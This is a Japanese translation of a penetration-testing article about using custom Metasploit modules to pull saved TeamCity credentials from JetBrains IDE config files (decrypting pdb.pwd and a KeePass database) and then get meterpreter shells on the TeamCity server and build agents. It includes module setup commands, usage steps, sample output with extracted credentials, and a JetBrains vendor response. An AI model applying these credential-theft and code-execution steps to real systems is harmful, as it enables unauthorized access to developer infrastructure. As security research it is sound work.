
Metasploitを使用したTeamCityのペンテスト
要約: JetBrains IDE (IntelliJ や PyCharm など) からパスワードを取得し、その認証情報を TeamCity Continuous Integration Server 内で使用して、Metasploit を使用してサーバーおよびビルドエージェント上でメータープリターセッションを取得します。Kacper Szurek 著。




以下はベンダー (JetBrains TeamCity チーム) からのコメントです。Yegor Yarko 氏によるもの:
この記事の内容の大部分は、正しい権限が付与されている場合に悪意のあるユーザーが TeamCity を悪用する方法について説明しています。 例えば、システム管理者ロール (サーバーに対する完全な制御権を持つ) を持つユーザーは、悪意のある TeamCity プラグインをインストールしたり、サーバーへの「スーパーユーザー」アクセス用のトークンを取得したりできます。また、プロジェクト管理者ロールを持つユーザーは、エージェント上で任意のコードを実行したり、構成されたリポジトリアクセスパスワードを取得したりできます。これらの動作は、製品として TeamCity が提供する機能の一部です。これらの考慮事項は、TeamCity ドキュメントの関連セクションに記載されています。
説明された問題は、悪意のある攻撃者に高い権限を与えることがどれほど危険であるかを示しています。TeamCity サーバーの管理者は、ユーザーの権限を定期的にレビューして、悪用される可能性のある権限を潜在的に悪意のあるユーザーに付与しないようにする必要があります。有効になっている場合は、ゲストユーザーの権限も確認してください。もう一つのポイントは、重要な権限でログインした状態で端末を放置しないことです。
ただし、記事では2つの実際のセキュリティ上の懸念事項が指摘されています。 1つは、悪意のあるビルド成果物を公開し、管理者ユーザーにそれをブラウザで表示させることに関するもの、もう1つは、カスタムビルドを実行する権限を TeamCity エージェント上での任意のコード実行に昇格させることです。後者は、この権限を持つユーザーは通常すでにエージェント上で任意のコードを実行できるため、ほとんどの TeamCity インストールに与える影響は軽微です。
それでも、私たちは近い将来の TeamCity リリースのいずれかで上記の懸念事項に対処する予定であり、それらを私たちの注意に喚起してくれたことに感謝します。
ソフトウェア会社でペネトレーションテストを行っていると仮定しましょう。その会社は JetBrains スタックを使用しており、あなたは Metasploit を使用して開発者のコンピュータ上でメータープリターセッションを取得しています。
次に何ができるでしょうか? 2015年に Nikhil SamratAshok Mittal による TeamCity のペネトレーションテストに関する記事が1つあります。
この記事では、Security Notes と BugTrack から複数の手法を組み合わせ、それらを Metasploit モジュールにまとめました。
注: ここでは0デイは使用していません。すべてのアクションには有効な TeamCity 認証情報が必要です。JetBrains コメント を参照してください。
私はこのスクリプトによって引き起こされるいかなる損害についても責任を負いません。データの安全性のために set CLEANUP false を使用してください。
TeamCity 2017.2.1 (ビルド 50732) でテスト済み。
KeePass データベースを復号化するには、kdbx Ruby ライブラリが必要です。
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle install次に以下の操作が可能です。
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb と serverplugin.zip を ~/.msf4/modules/exploits にコピーjetbrains.rb を ~/.msf4/modules/post にコピーmsfconsole を実行reload_allTeamCity は、プラグイン を使用してすべての JetBrains IDE と簡単に統合できます。

「Remember me」オプションが使用されている場合、パスワードは IntelliJ Platform Credentials Store API を使用して保存されます。ソースコードはこちらにあります。
Windows での復号化手順は次のようになります:

pdb.pw ファイルは Windows の CryptUnprotectData を使用して復号化されます。これは、データを暗号化したユーザーのみが復号化できることを意味します。c.kdbx KeePass データベースは、ポイント2の マスターパスワード を使用して復号化できるようになります。0xDFAA を使用して XOR されます。デフォルトでは、マスターパスワード はランダムです。オプション内で変更できます:

しかし、これは何も変更しません。
これは単に、KeePass データベース c.kdbx が異なるパスワードで暗号化されることを意味します。ローカルユーザーは依然として pdb.pw ファイルからこのパスワードを簡単に取得できます。
有効なメータープリターセッション #1 を持っていると仮定しましょう。```
use post/jetbrains
set SESSION 1
exploit
出力は次のようになります:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
現在、JetBrains metasploitモジュールからTeamCityの認証情報を取得しています。現在のユーザーロールに基づいて、以下の操作が可能です:
| サーバー上のシェル | ビルドエージェント上のシェル | スーパーユーザー | 保存された認証情報 | |
|---|---|---|---|---|
| 管理者 | ✔️ | ✔️ | ✔️ | ✔️ すべてのプロジェクト |
| ログインユーザー | ❌ | ✖️ Windowsエージェントのみ | ❌ | ❌ |
| ゲストユーザー | ❌ | ❌ | ❌ | ❌ |
| サーバー上のシェル | ビルドエージェント上のシェル | スーパーユーザー | 保存された認証情報 | |
|---|---|---|---|---|
| システム管理者 | ✔️ | ✔️ | ✔️ | ✔️ すべてのプロジェクト |
| プロジェクト管理者 | ❌ | ✔️ | ❌ | ✔️ |
| プロジェクト開発者 | ❌ | ✖️ Windowsエージェントのみ | ❌ | ❌ |
| プロジェクトビューア | ❌ | ❌ | ❌ | ❌ |
metasploitモジュールはカスタムロールをサポートしていないことに注意してください。
TeamCityはプラグインを使用して簡単に拡張できます。